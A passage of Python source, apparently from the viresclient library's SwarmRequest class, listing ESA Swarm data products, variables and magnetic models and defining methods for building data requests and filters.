\"Relative_STEC\",\n \"Relative_STEC_RMS\",\n \"DCB\",\n \"DCB_Error\",\n ],\n \"FAC\": [\n \"IRC\",\n \"IRC_Error\",\n \"FAC\",\n \"FAC_Error\",\n \"Flags\",\n \"Flags_F\",\n \"Flags_B\",\n \"Flags_q\",\n ],\n \"EEF\": [\"EEF\", \"EEJ\", \"RelErr\", \"Flags\"],\n \"IPD\": [\n \"Ne\",\n \"Te\",\n \"Background_Ne\",\n \"Foreground_Ne\",\n \"PCP_flag\",\n \"Grad_Ne_at_100km\",\n \"Grad_Ne_at_50km\",\n \"Grad_Ne_at_20km\",\n \"Grad_Ne_at_PCP_edge\",\n \"ROD\",\n \"RODI10s\",\n \"RODI20s\",\n \"delta_Ne10s\",\n \"delta_Ne20s\",\n \"delta_Ne40s\",\n \"Num_GPS_satellites\",\n \"mVTEC\",\n \"mROT\",\n \"mROTI10s\",\n \"mROTI20s\",\n \"IBI_flag\",\n \"Ionosphere_region_flag\",\n \"IPIR_index\",\n \"Ne_quality_flag\",\n \"TEC_STD\",\n ],\n \"AEJ_LPL\": [\"Latitude_QD\", \"Longitude_QD\", \"MLT_QD\", \"J_NE\", \"J_QD\"],\n \"AEJ_LPL:Quality\": [\"RMS_misfit\", \"Confidence\"],\n \"AEJ_LPS\": [\n \"Latitude_QD\",\n \"Longitude_QD\",\n \"MLT_QD\",\n \"J_CF_NE\",\n \"J_DF_NE\",\n \"J_CF_SemiQD\",\n \"J_DF_SemiQD\",\n \"J_R\",\n ],\n \"AEJ_LPS:Quality\": [\"RMS_misfit\", \"Confidence\"],\n \"AEJ_PBL\": [\n \"Latitude_QD\",\n \"Longitude_QD\",\n \"MLT_QD\",\n \"J_QD\",\n \"Flags\",\n \"PointType\",\n ],\n \"AEJ_PBS\": [\n \"Latitude_QD\",\n \"Longitude_QD\",\n \"MLT_QD\",\n \"J_DF_SemiQD\",\n \"Flags\",\n \"PointType\",\n ],\n \"AEJ_PBS:GroundMagneticDisturbance\": [\"B_NE\"],\n \"AOB_FAC\": [\n \"Latitude_QD\",\n \"Longitude_QD\",\n \"MLT_QD\",\n \"Boundary_Flag\",\n \"Quality\",\n \"Pair_Indicator\",\n ],\n \"AUX_OBSH\": [\"B_NEC\", \"F\", \"IAGA_code\", \"Quality\", \"ObsIndex\"],\n \"AUX_OBSM\": [\"B_NEC\", \"F\", \"IAGA_code\", \"Quality\"],\n \"AUX_OBSS\": [\"B_NEC\", \"F\", \"IAGA_code\", \"Quality\"],\n \"VOBS_SW_1M\": [\"SiteCode\", \"B_CF\", \"B_OB\", \"sigma_CF\", \"sigma_OB\"],\n \"VOBS_CH_1M\": [\"SiteCode\", \"B_CF\", \"B_OB\", \"sigma_CF\", \"sigma_OB\"],\n \"VOBS_CR_1M\": [\"SiteCode\", \"B_CF\", \"B_OB\", \"sigma_CF\", \"sigma_OB\"],\n \"VOBS_OR_1M\": [\"SiteCode\", \"B_CF\", \"B_OB\", \"sigma_CF\", \"sigma_OB\"],\n \"VOBS_CO_1M\": [\"SiteCode\", \"B_CF\", \"B_OB\", \"sigma_CF\", \"sigma_OB\"],\n \"VOBS_OR_4M\": [\"SiteCode\", \"B_CF\", \"B_OB\", \"sigma_CF\", \"sigma_OB\"],\n \"VOBS_SW_4M\": [\"SiteCode\", \"B_CF\", \"B_OB\", \"sigma_CF\", \"sigma_OB\"],\n \"VOBS_CH_4M\": [\"SiteCode\", \"B_CF\", \"B_OB\", \"sigma_CF\", \"sigma_OB\"],\n \"VOBS_CR_4M\": [\"SiteCode\", \"B_CF\", \"B_OB\", \"sigma_CF\", \"sigma_OB\"],\n \"VOBS_CO_4M\": [\"SiteCode\", \"B_CF\", \"B_OB\", \"sigma_CF\", \"sigma_OB\"],\n \"VOBS_SW_1M:SecularVariation\": [\"SiteCode\", \"B_SV\", \"sigma_SV\"],\n \"VOBS_CH_1M:SecularVariation\": [\"SiteCode\", \"B_SV\", \"sigma_SV\"],\n \"VOBS_CR_1M:SecularVariation\": [\"SiteCode\", \"B_SV\", \"sigma_SV\"],\n \"VOBS_OR_1M:SecularVariation\": [\"SiteCode\", \"B_SV\", \"sigma_SV\"],\n \"VOBS_CO_1M:SecularVariation\": [\"SiteCode\", \"B_SV\", \"sigma_SV\"],\n \"VOBS_OR_4M:SecularVariation\": [\"SiteCode\", \"B_SV\", \"sigma_SV\"],\n \"VOBS_SW_4M:SecularVariation\": [\"SiteCode\", \"B_SV\", \"sigma_SV\"],\n \"VOBS_CH_4M:SecularVariation\": [\"SiteCode\", \"B_SV\", \"sigma_SV\"],\n \"VOBS_CR_4M:SecularVariation\": [\"SiteCode\", \"B_SV\", \"sigma_SV\"],\n \"VOBS_CO_4M:SecularVariation\": [\"SiteCode\", \"B_SV\", \"sigma_SV\"],\n \"MIT_LP\": [\n \"Counter\",\n \"Latitude_QD\",\n \"Longitude_QD\",\n \"MLT_QD\",\n \"L_value\",\n \"SZA\",\n \"Ne\",\n \"Te\",\n \"Depth\",\n \"DR\",\n \"Width\",\n \"dL\",\n \"PW_Gradient\",\n \"EW_Gradient\",\n \"Quality\",\n ],\n \"MIT_LP:ID\": [\n \"Counter\",\n \"Latitude_QD\",\n \"Longitude_QD\",\n \"MLT_QD\",\n \"L_value\",\n \"SZA\",\n \"Ne\",\n \"Te\",\n \"Position_Quality\",\n \"PointType\",\n ],\n \"MIT_TEC\": [\n \"Counter\",\n \"Latitude_QD\",\n \"Longitude_QD\",\n \"MLT_QD\",\n \"L_value\",\n \"SZA\",\n \"TEC\",\n \"Depth\",\n \"DR\",\n \"Width\",\n \"dL\",\n \"PW_Gradient\",\n \"EW_Gradient\",\n \"Quality\",\n ],\n \"MIT_TEC:ID\": [\n \"Counter\",\n \"Latitude_QD\",\n \"Longitude_QD\",\n \"MLT_QD\",\n \"L_value\",\n \"SZA\",\n \"TEC\",\n \"Position_Quality\",\n \"PointType\",\n ],\n \"PPI_FAC\": [\n \"Counter\",\n \"Latitude_QD\",\n \"Longitude_QD\",\n \"MLT_QD\",\n \"L_value\",\n \"SZA\",\n \"Sigma\",\n \"PPI\",\n \"dL\",\n \"Quality\",\n ],\n \"PPI_FAC:ID\": [\n \"Counter\",\n \"Latitude_QD\",\n \"Longitude_QD\",\n \"MLT_QD\",\n \"L_value\",\n \"SZA\",\n \"Position_Quality\",\n \"PointType\",\n ],\n \"MAG_CS\": [\n \"F\",\n \"B_NEC\",\n \"B_mod_NEC\",\n \"B_NEC1\",\n \"B_NEC2\",\n \"B_NEC3\",\n \"B_FGM1\",\n \"B_FGM2\",\n \"B_FGM3\",\n \"q_NEC_CRF\",\n \"q_error\",\n ],\n \"MAG_GRACE\": [\n \"F\",\n \"B_NEC\",\n \"B_NEC_raw\",\n \"B_FGM\",\n \"q_NEC_CRF\",\n \"q_error\",\n ],\n \"MAG_GFO\": [\n \"F\",\n \"B_NEC\",\n \"B_FGM\",\n \"dB_MTQ_FGM\",\n \"dB_XI_FGM\",\n \"dB_NY_FGM\",\n \"dB_BT_FGM\",\n \"dB_ST_FGM\",\n \"dB_SA_FGM\",\n \"dB_BAT_FGM\",\n \"q_NEC_FGM\",\n \"B_FLAG\",\n ],\n \"MAG_GOCE\": [\n \"F\",\n \"B_MAG\",\n \"B_NEC\",\n \"dB_MTQ_SC\",\n \"dB_XI_SC\",\n \"dB_NY_SC\",\n \"dB_BT_SC\",\n \"dB_ST_SC\",\n \"dB_SA_SC\",\n \"dB_BAT_SC\",\n \"dB_HK_SC\",\n \"dB_BLOCK_CORR\",\n \"q_SC_NEC\",\n \"q_MAG_SC\",\n \"B_FLAG\",\n ],\n \"MAG_GOCE_ML\": [\n \"F\",\n \"B_MAG\",\n \"B_NEC\",\n \"q_FGM_NEC\",\n \"B_FLAG\",\n \"KP_DST_FLAG\",\n \"NaN_FLAG\",\n \"Latitude_QD\",\n \"Longitude_QD\",\n ],\n \"MOD_SC\": [],\n }\n\n AUXILIARY_VARIABLES = [\n \"Timestamp\",\n \"Latitude\",\n \"Longitude\",\n \"Radius\",\n \"Spacecraft\",\n \"OrbitDirection\",\n \"QDOrbitDirection\",\n \"SyncStatus\",\n \"Kp10\",\n \"Kp\",\n \"Dst\",\n \"F107\",\n \"IMF_BY_GSM\",\n \"IMF_BZ_GSM\",\n \"IMF_V\",\n \"F10_INDEX\",\n \"OrbitSource\",\n \"OrbitNumber\",\n \"AscendingNodeTime\",\n \"AscendingNodeLongitude\",\n \"QDLat\",\n \"QDLon\",\n \"QDBasis\",\n \"MLT\",\n \"SunDeclination\",\n \"SunHourAngle\",\n \"SunRightAscension\",\n \"SunAzimuthAngle\",\n \"SunZenithAngle\",\n \"SunLongitude\",\n \"SunVector\",\n \"DipoleAxisVector\",\n \"NGPLatitude\",\n \"NGPLongitude\",\n \"DipoleTiltAngle\",\n \"dDst\",\n ]\n\n MAGNETIC_MODEL_VARIABLES = {\n \"F\": \"F\",\n \"B_NEC\": \"B_NEC\",\n \"B_NEC1\": \"B_NEC\",\n \"B_NEC2\": \"B_NEC\",\n \"B_NEC3\": \"B_NEC\",\n }\n\n MAGNETIC_MODELS = [\n \"IGRF\",\n \"IGRF12\",\n \"LCS-1\",\n \"MF7\",\n \"CHAOS-Core\",\n \"CHAOS-Static\",\n \"CHAOS-MMA-Primary\",\n \"CHAOS-MMA-Secondary\",\n \"CHAOS-6-Core\",\n \"CHAOS-6-Static\",\n \"CHAOS-6-MMA-Primary\",\n \"CHAOS-6-MMA-Secondary\",\n \"MCO_SHA_2C\",\n \"MCO_SHA_2D\",\n \"MLI_SHA_2C\",\n \"MLI_SHA_2D\",\n \"MLI_SHA_2E\",\n \"MMA_SHA_2C-Primary\",\n \"MMA_SHA_2C-Secondary\",\n \"MMA_SHA_2F-Primary\",\n \"MMA_SHA_2F-Secondary\",\n \"MIO_SHA_2C-Primary\",\n \"MIO_SHA_2C-Secondary\",\n \"MIO_SHA_2D-Primary\",\n \"MIO_SHA_2D-Secondary\",\n \"AMPS\",\n \"MCO_SHA_2X\",\n \"CHAOS\",\n \"CHAOS-MMA\",\n \"MMA_SHA_2C\",\n \"MMA_SHA_2F\",\n \"MIO_SHA_2C\",\n \"MIO_SHA_2D\",\n \"SwarmCI\",\n ]\n\n def __init__(self, url=None, token=None, config=None, logging_level=\"NO_LOGGING\"):\n super().__init__(url, token, config, logging_level, server_type=\"Swarm\")\n\n self._available = self._get_available_data()\n self._request_inputs = SwarmWPSInputs()\n self._templatefiles = TEMPLATE_FILES\n self._filterlist = []\n self._supported_filetypes = (\"csv\", \"cdf\")\n self._collection_list = None\n\n @classmethod\n def _get_available_data(cls):\n # Build the reverse mapping: \"SW_OPER_MAGA_LR_1B\": \"MAG\" etc\n collections_to_keys = {}\n for key, collections in cls.COLLECTIONS.items():\n collections_to_keys.update({collection: key for collection in collections})\n\n return {\n \"collections\": cls.COLLECTIONS,\n \"collections_to_keys\": collections_to_keys,\n \"collection_sampling_steps\": cls.COLLECTION_SAMPLING_STEPS,\n \"measurements\": cls.PRODUCT_VARIABLES,\n \"models\": cls.MAGNETIC_MODELS,\n \"model_variables\": cls.MAGNETIC_MODEL_VARIABLES,\n \"auxiliaries\": cls.AUXILIARY_VARIABLES,\n }\n\n @staticmethod\n def _parse_models_input(models=None):\n \"\"\"Verify and parse models input.\n\n Args:\n models (list/dict): User-provided values\n\n Returns:\n list: model_ids, list of model_id strings\n str: model_expression_string to be passed to the server\n \"\"\"\n models = [] if models is None else models\n # Convert input to OrderedDict\n # e.g. {\"model_name\": \"model_expression\", ..}\n # Check if models input is basic list of strings,\n # If not, then handle inputs given as dicts or list of tuples\n if isinstance(models, list) and all(isinstance(item, str) for item in models):\n # Convert the models list to an OrderedDict\n model_expressions = OrderedDict()\n for model in models:\n model_id, _, model_expression = (\n s.strip() for s in model.partition(\"=\")\n )\n model_expressions[model_id] = model_expression\n else:\n try:\n model_expressions = OrderedDict(models)\n # Check that everything is a string\n if not all(\n isinstance(item, str)\n for item in [*model_expressions.values()]\n + [*model_expressions.keys()]\n ):\n raise ValueError\n except ValueError:\n raise ValueError(\"Invalid models input!\")\n # TODO: Verify input model names\n # (use self._available[\"models\"])\n # Create the combined model expression string passed to the request\n model_expression_string = \"\"\n for model_id, model_expression in model_expressions.items():\n if model_expression == \"\":\n s = model_id\n else:\n s = \"=\".join([model_id, model_expression])\n model_expression_string = \",\".join([model_expression_string, s])\n model_ids = list(s.strip(\"'\\\"\") for s in model_expressions.keys())\n return model_ids, model_expression_string[1:]\n\n def available_collections(self, groupname=None, details=True):\n \"\"\"Show details of available collections.\n\n Args:\n groupname (str): one of: (\"MAG\", \"EFI\", etc.)\n details (bool): If True then print a nice output.\n If False then return a dict of available collections.\n\n \"\"\"\n # Shorter form of the available collections,\n # without all the individual SiteCodes\n collections_short = self._available[\"collections\"].copy()\n collections_short[\"AUX_OBSS\"] = [\"SW_OPER_AUX_OBSS2_\"]\n collections_short[\"AUX_OBSM\"] = [\"SW_OPER_AUX_OBSM2_\"]\n collections_short[\"AUX_OBSH\"] = [\"SW_OPER_AUX_OBSH2_\"]\n for mission in (\"SW\", \"OR\", \"CH\", \"CR\", \"CO\"):\n for cadence in (\"1M\", \"4M\"):\n collections_short[f\"VOBS_{mission}_{cadence}\"] = [\n f\"{mission}_OPER_VOBS_{cadence}_2_\"\n ]\n collections_short[f\"VOBS_{mission}_{cadence}:SecularVariation\"] = [\n f\"{mission}_OPER_VOBS_{cadence}_2_:SecularVariation\"\n ]\n\n def _filter_collections(groupname):\n \"\"\"Reduce the full list to just one group, e.g. \"MAG\"\"\"\n if groupname:\n groups = list(collections_short.keys())\n if groupname in groups:\n return {groupname: collections_short[groupname]}\n else:\n raise ValueError(\"Invalid collection group name\")\n else:\n return collections_short\n\n collections_filtered = _filter_collections(groupname)\n if details:\n print(\"General References:\")\n for i in REFERENCES[\"General Swarm\"]:\n print(i)\n print()\n for key, val in collections_filtered.items():\n print(key)\n for i in val:\n print(\" \", i)\n refs = COLLECTION_REFERENCES.get(key, (\"No reference...\",))\n for ref in refs:\n print(ref)\n print()\n else:\n return collections_filtered\n\n def available_measurements(self, collection=None):\n \"\"\"Returns a list of the available measurements for the chosen collection.\n\n Args:\n collection (str): one of: (\"MAG\", \"EFI\", \"IBI\", \"TEC\", \"FAC\", \"EEF\")\n\n \"\"\"\n keys = list(self._available[\"measurements\"].keys())\n if collection in keys:\n collection_key = collection\n return self._available[\"measurements\"][collection_key]\n elif collection in self._available[\"collections_to_keys\"]:\n collection_key = self._available[\"collections_to_keys\"][collection]\n return self._available[\"measurements\"][collection_key]\n elif collection is None:\n return self._available[\"measurements\"]\n else:\n raise Exception(\n \"collection must be one of {}\\nor\\n{}\".format(\n \", \".join(keys), \"\\n\".join(self._available[\"collections_to_keys\"])\n )\n )\n\n def available_models(self, param=None, details=True, nice_output=True):\n \"\"\"Show details of avalable models.\n\n If details is True, return a dictionary of model names and details.\n If nice_output is True, the dictionary is printed nicely.\n If details is False, return a list of model names.\n If param is set, filter to only return entries including this\n\n Note:\n | F = Fast-Track Products\n | C = Comprehensive Inversion\n | D = Dedicated Chain\n | MCO = Core / main\n | MLI = Lithosphere\n | MMA = Magnetosphere\n | MIO = Ionosphere\n\n Args:\n param (str): one of \"F C D MCO MLI MMA MIO\"\n details (bool): True for a dict of details, False for a brief list\n nice_output (bool): If True, just print the dict nicely\n\n \"\"\"\n\n def filter_by_param(d, param):\n if param in (\"F\", \"C\", \"D\"):\n param = \"2\" + param\n return [i for i in d if param in i]\n\n # get all models provided by the server\n models_info = self.get_model_info()\n\n # keep only models really provided by the server\n d = [\n model_name\n for model_name in self._available[\"models\"]\n if model_name in models_info\n ]\n\n # Filter the dict/list to only include those that contain param\n if param is not None:\n d = filter_by_param(d, param)\n\n if details:\n d = {\n model_name: {\n \"description\": MODEL_REFERENCES[model_name],\n \"details\": models_info[model_name],\n }\n for model_name in d\n }\n\n if nice_output and details:\n d = OrderedDict(sorted(d.items()))\n for model_name, desc_details in d.items():\n print(model_name, \"=\", desc_details[\"details\"][\"expression\"])\n print(\" START:\", desc_details[\"details\"][\"validity\"][\"start\"])\n print(\" END: \", desc_details[\"details\"][\"validity\"][\"end\"])\n print(\"DESCRIPTION:\")\n for line in desc_details[\"description\"]:\n print(line)\n print(\"SOURCES:\")\n for line in desc_details[\"details\"][\"sources\"]:\n print(\" \", line)\n print()\n else:\n return d\n\n def available_auxiliaries(self):\n \"\"\"Returns a list of the available auxiliary parameters.\"\"\"\n return self._available[\"auxiliaries\"]\n\n def available_observatories(\n self, collection, start_time=None, end_time=None, details=False, verbose=True\n ):\n \"\"\"Get list of available observatories from server.\n\n Search availability by collection, one of::\n\n \"SW_OPER_AUX_OBSH2_\"\n \"SW_OPER_AUX_OBSM2_\"\n \"SW_OPER_AUX_OBSS2_\"\n\n Examples:\n\n ::\n\n from viresclient import SwarmRequest\n request = SwarmRequest()\n # For a list of observatories available:\n request.available_observatories(\"SW_OPER_AUX_OBSM2_\")\n # For a DataFrame also containing availability start and end times:\n request.available_observatories(\"SW_OPER_AUX_OBSM2_\", details=True)\n # For available observatories during a given time period:\n request.available_observatories(\n \"SW_OPER_AUX_OBSM2_\", \"2013-01-01\", \"2013-02-01\"\n )\n\n Args:\n collection (str): OBS collection name, e.g. \"SW_OPER_AUX_OBSM2\\\\_\"\n start_time (datetime / ISO_8601 string)\n end_time (datetime / ISO_8601 string)\n details (bool): returns DataFrame if True\n verbose (bool): Notify with special data terms\n\n Returns:\n list or DataFrame: IAGA codes (and start/end times)\n\n \"\"\"\n\n def _request_get_observatories(collection=None, start_time=None, end_time=None):\n \"\"\"Make the get_observatories request to the server\"\"\"\n templatefile = TEMPLATE_FILES[\"get_observatories\"]\n template = JINJA2_ENVIRONMENT.get_template(templatefile)\n request = template.render(\n collection_id=collection,\n begin_time=start_time,\n end_time=end_time,\n response_type=\"text/csv\",\n ).encode(\"UTF-8\")\n response = self._get(request, asynchronous=False, show_progress=False)\n return response\n\n def _csv_to_df(csv_data):\n \"\"\"Convert bytes data to pandas dataframe\"\"\"\n return read_csv(StringIO(str(csv_data, \"utf-8\")))\n\n if collection not in self.OBS_COLLECTIONS:\n raise ValueError(\n f\"Invalid collection: {collection}. Must be one of: {self.OBS_COLLECTIONS}.\"\n )\n if start_time and end_time:\n start_time = parse_datetime(start_time)\n end_time = parse_datetime(end_time)\n else:\n start_time, end_time = None, None\n\n if verbose:\n self._detect_AUX_OBS([collection])\n response = _request_get_observatories(collection, start_time, end_time)\n df = _csv_to_df(response)\n if details:\n return df\n else:\n # note: \"IAGACode\" has been renamed to \"site\" in VirES 3.5\n key = \"IAGACode\" if \"IAGACode\" in df.keys() else \"site\"\n return list(df[key])\n\n def _detect_AUX_OBS(self, collections):\n # Identify collection types present\n collection_types_requested = {\n self._available[\"collections_to_keys\"].get(collection)\n for collection in collections\n }\n # Output notification for each of aux_type\n for aux_type in [\"AUX_OBSH\", \"AUX_OBSM\", \"AUX_OBSS\"]:\n if aux_type in collection_types_requested:\n output_text = dedent(\n f\"\"\"\n Accessing INTERMAGNET and/or WDC data\n Check usage terms at {DATA_CITATIONS.get(aux_type)}\n \"\"\"\n )\n tqdm.write(output_text)\n\n def set_collection(self, *args, verbose=True):\n \"\"\"Set the collection(s) to use.\n\n Args:\n (str): one or several from .available_collections()\n verbose (bool): Notify if special data terms\n\n \"\"\"\n collections = [*args]\n for collection in collections:\n if not isinstance(collection, str):\n raise TypeError(f\"{collection} invalid. Must be string.\")\n if collection not in self._available[\"collections_to_keys\"]:\n raise ValueError(\n \"Invalid collection: {}. \"\n \"Check available with SwarmRequest().available_collections()\".format(\n collection\n )\n )\n if verbose:\n self._detect_AUX_OBS(collections)\n self._collection_list = collections\n self._request_inputs.set_collections(collections)\n return self\n\n def set_products(\n self,\n measurements=None,\n models=None,\n custom_model=None,\n auxiliaries=None,\n residuals=False,\n sampling_step=None,\n ignore_cached_models=False,\n ):\n \"\"\"Set the combination of products to retrieve.\n\n If residuals=True then just get the measurement-model residuals,\n otherwise get both measurement and model values.\n\n Args:\n measurements (list(str)): from .available_measurements(collection_key)\n models (list(str)/dict): from .available_models() or defineable with custom expressions\n custom_model (str): path to a custom model in .shc format\n auxiliaries (list(str)): from .available_auxiliaries()\n residuals (bool): True if only returning measurement-model residual\n sampling_step (str): ISO_8601 duration, e.g. 10 seconds: PT10S, 1 minute: PT1M\n ignore_cached_models (bool): True if cached models should be ignored and calculated on-the-fly\n\n \"\"\"\n if self._collection_list is None:\n raise Exception(\"Must run .set_collection() first.\")\n measurements = [] if measurements is None else measurements\n models = [] if models is None else models\n model_variables = self._available[\"model_variables\"]\n auxiliaries = [] if auxiliaries is None else auxiliaries\n # If inputs are strings (when providing only one parameter)\n # put them in lists\n if isinstance(measurements, str):\n measurements = [measurements]\n if isinstance(models, str):\n models = [models]\n if isinstance(auxiliaries, str):\n auxiliaries = [auxiliaries]\n # print warning for deprecated models\n self._check_deprecated_models(models)\n # Check the chosen measurements are available for the set collections\n available_measurements = []\n for collection in self._collection_list:\n collection_key = self._available[\"collections_to_keys\"][collection]\n available_measurements.extend(\n self._available[\"measurements\"][collection_key]\n )\n for variable in measurements:\n if variable not in available_measurements:\n raise Exception(\n \"Measurement '{}' not available for collection '{}'. \"\n \"Check available with \"\n \"SwarmRequest.available_measurements({})\".format(\n variable, collection_key, collection_key\n )\n )\n # Check if at least one model defined when requesting residuals\n if residuals and not models:\n raise Exception(\"Residuals requested but no model defined!\")\n # Check models format, extract model_ids and string to pass to server\n model_ids, model_expression_string = self._parse_models_input(models)\n # Check chosen aux is available\n for variable in auxiliaries:\n if variable not in self._available[\"auxiliaries\"]:\n raise Exception(\n \"'{}' not available. Check available with \"\n \"SwarmRequest.available_auxiliaries()\".format(variable)\n )\n # Load the custom .shc file\n if custom_model:\n if os.path.exists(custom_model):\n with open(custom_model) as custom_shc_file:\n custom_shc = custom_shc_file.read()\n model_ids.append(\"Custom_Model\")\n else:\n raise OSError(\"Custom model .shc file not found\")\n else:\n custom_shc = None\n\n # Set up the variables that actually get passed to the WPS request\n\n # Requested variables, start with the measurements ...\n variables = set(measurements)\n\n # model-related measurements\n _requested_model_variables = [\n variable for variable in measurements if variable in model_variables\n ]\n\n if residuals:\n # Remove the measurements ...\n variables.difference_update(_requested_model_variables)\n # ... add their residuals instead.\n variables.update(\n f\"{variable}_res_{model_id}\"\n for variable in _requested_model_variables\n for model_id in model_ids\n )\n\n else:\n # If no variable is requested fall back to B_NEC.\n if not _requested_model_variables:\n _requested_model_variables = [\"B_NEC\"]\n\n # Add calculated model variables.\n variables.update(\n f\"{variable}_{model_id}\"\n for variable in (\n model_variables[variable] for variable in _requested_model_variables\n )\n for model_id in model_ids\n )\n\n # Finally, add the auxiliary variables.\n variables.update(auxiliaries)\n\n self._request_inputs.model_expression = model_expression_string\n self._request_inputs.variables = list(variables)\n self._request_inputs.sampling_step = sampling_step\n self._request_inputs.custom_shc = custom_shc\n self._request_inputs.ignore_cached_models = ignore_cached_models\n\n return self\n\n def set_range_filter(self, parameter, minimum=None, maximum=None, negate=False):\n \"\"\"Set a range filter to apply.\n\n Filters data for minimum ≤ parameter ≤ maximum,\n or parameter < minimum OR parameter > maximum if negated.\n\n Note:\n - Apply multiple filters with successive calls to ``.set_range_filter()``\n - See :py:meth:`SwarmRequest.add_filter` for arbitrary filters.\n\n Args:\n parameter (str)\n minimum (float or integer)\n maximum (float or integer)\n\n Examples:\n ``request.set_range_filter(\"Latitude\", 0, 90)``\n to set \"Latitude >= 0 AND Latitude <= 90\"\n ``request.set_range_filter(\"Latitude\", 0, 90, negate=True)``\n to set \"(Latitude < 0 OR Latitude > 90)\"\n \"\"\"\n if not isinstance(parameter, str):\n raise TypeError(\"parameter must be a str\")\n\n def _generate_filters(minop, maxop):\n if minimum is not None:\n yield f\"{parameter} {minop} {minimum}\"\n if maximum is not None:\n yield f\"{parameter} {maxop} {maximum}\"\n\n nargs = 2 - (minimum is None) - (maximum is None)\n if nargs == 0:\n return\n\n filter_ = (\n \" AND \".join(_generate_filters(\">=\", \"<=\"))\n if not negate\n else \" OR \".join(_generate_filters(\"<\", \">\"))\n )\n\n if nargs > 1:\n filter_ = f\"({filter_})\"\n\n self.add_filter(filter_)\n\n return self\n\n def set_choice_filter(self, parameter, *values, negate=False):\n \"\"\"Set a choice filter to apply.\n\n Filters data for *parameter in values*,\n or *parameter not in values* if negated.\n\n Note:\n See :py:meth:`SwarmRequest.add_filter` for arbitrary filters.\n\n Args:\n parameter (str)\n values (float or integer or string)\n\n Examples:\n ``request.set_choice_filter(\"Flags_F\", 0, 1)``\n to set \"(Flags_F == 0 OR Flags_F == 1)\"\n ``request.set_choice_filter(\"Flags_F\", 0, 1, negate=True)``\n to set \"(Flags_F != 0 AND Flags_F != 1)\"\n \"\"\"\n if not isinstance(parameter, str):\n raise TypeError(\"parameter must be a str\")\n\n def _generate_filters(compop):\n for value in values:\n yield f\"{parameter} {compop} {value!r}\"\n\n nargs = len(values)\n if nargs == 0:\n return\n\n filter_ = (\n \" OR \".join(_generate_filters(\"==\"))\n if not negate\n else \" AND \".join(_generate_filters(\"!=\"))\n )\n\n if nargs > 1:\n filter_ = f\"({filter_})\"\n\n self.add_filter(filter_)\n\n return self\n\n def set_bitmask_filter(self, parameter, selection=0, mask=-1, negate=False):\n \"\"\"Set a bitmask filter to apply.\n\n Filters data for *parameter & mask == selection & mask*,\n or *parameter & mask != selection & mask* if negated.\n\n Note:\n See :py:meth:`SwarmRequest.add_filter` for arbitrary filters.\n\n Args:\n parameter (str)\n mask (integer)\n selection (integer)\n\n Examples:\n ``request.set_bitmask_filter(\"Flags_F\", 0, 1)``\n to set \"Flags_F & 1 == 0\" (i.e. bit 1 is set to 0)\n \"\"\"\n if not isinstance(parameter, str):\n raise TypeError(\"parameter must be a str\")\n\n def _get_filter(compop):\n return (\n f\"{parameter} & {mask} {compop} {selection & mask}\"\n if mask != -1\n else f\"{parameter} {compop} {selection}\"\n )\n\n if not negate:\n if mask != 0: # avoid pointless (0 == 0) filter\n self.add_filter(_get_filter(\"==\"))\n else:\n # mask == 0 leads to (0 != 0) filter and nothing is selected.\n self.add_filter(_get_filter(\"!=\"))\n\n return self\n\n def add_filter(self, filter_):\n \"\"\"Add an arbitrary data filter.\n\n Args:\n filter_ (str): string defining the filter, as shown below\n\n Filter grammar:\n\n .. code-block:: text\n\n filter: predicate\n predicate:\n variable == literal |\n variable != literal |\n variable < number |\n variable > number |\n variable <= number |\n variable >= number |\n variable & unsigned-integer == unsigned-integer |\n variable & unsigned-integer != unsigned-integer |\n (predicate AND predicate [AND predicate ...]) |\n (predicate OR predicate [OR predicate ...]) |\n NOT predicate\n literal: boolean | integer | float | string\n number: integer | float\n variable: identifier | identifier[index]\n index: integer[, integer ...]\n\n Both single- and double quoted strings are allowed.\n NaN values are matched by the ==/!= operators, i.e., the predicates\n are internally converted to a proper \"IS NaN\" or \"IS NOT NaN\"\n comparison.\n\n Examples:\n \"Flags & 128 == 0\"\n Match records with Flag bit 7 set to 0.\n\n \"Elevation >= 15\"\n Match values with values greater than or equal to 15.\n\n \"(Label == \"D\" OR Label == \"N\" OR Label = \"X\")\"\n Match records with Label set to D, N or X.\n\n \"(Type != 1 AND Type != 34) NOT (Type == 1 OR Type == 34)\"\n Exclude records with Type set to 1 or 34.\n\n \"(Vector[2] <= -0.1 OR Vector[2] >= 0.5)\"\n Match records with Vector[2] values outside of the (-0.1, 0.5)\n range.\n \"\"\"\n if not isinstance(filter_, str):\n raise TypeError(\"parameter must be a str\")\n self._filterlist.append(filter_)\n # Update the SwarmWPSInputs object\n self._request_inputs.filters = \" AND \".join(self._filterlist)\n\n def clear_filters(self):\n \"\"\"Remove all applied filters.\"\"\"\n self._filterlist = []\n self._request_inputs.filters = None\n return self\n\n clear_range_filter = clear_filters # alias for backward compatibility\n\n def applied_filters(self):\n \"\"\"Print currently applied filters.\"\"\"\n for filter_ in self._filterlist:\n print(filter_)\n\n def get_times_for_orbits(\n self, start_orbit, end_orbit, mission=\"Swarm\", spacecraft=None\n ):\n \"\"\"Translate a pair of orbit numbers to a time interval.\n\n Args:\n start_orbit (int): a starting orbit number\n end_orbit (int): a later orbit number\n spacecraft (str):\n Swarm: one of ('A','B','C') or (\"Alpha\", \"Bravo\", \"Charlie\")\n GRACE: one of ('1','2')\n GRACE-FO: one of ('1','2')\n CryoSat-2: None\n mission (str): one of ('Swarm', 'GRACE', 'GRACE-FO', 'CryoSat-2')\n\n Returns:\n tuple (datetime): (start_time, end_time) The start time of the\n start_orbit and the ending time of the end_orbit.\n (Based on ascending nodes of the orbits)\n\n \"\"\"\n # check old function signature and print warning\n if (\n isinstance(start_orbit, str)\n and isinstance(mission, int)\n and spacecraft is None\n ):\n spacecraft, start_orbit, end_orbit = start_orbit, end_orbit, mission\n mission = \"Swarm\"\n warn(\n \"The order of SwarmRequest.get_times_for_orbits() method's \"\n \"parameters has changed! \"\n \"The backward compatibility will be removed in the future. \"\n \"Please change your code to: \"\n \"request.get_times_for_orbits(start_orbit, end_orbit, \"\n \"'Swarm', spacecraft)\",\n FutureWarning,\n )\n\n start_orbit = int(start_orbit)\n end_orbit = int(end_orbit)\n\n # Change to spacecraft = \"A\" etc. for this request\n spacecraft = self._fix_spacecraft(mission, spacecraft)\n self._check_mission_spacecraft(mission, spacecraft)\n\n templatefile = TEMPLATE_FILES[\"times_from_orbits\"]\n template = JINJA2_ENVIRONMENT.get_template(templatefile)\n request = template.render(\n mission=mission,\n spacecraft=spacecraft,\n start_orbit=start_orbit,\n end_orbit=end_orbit,\n ).encode(\"UTF-8\")\n response = self._get(request, asynchronous=False, show_progress=False)\n responsedict = 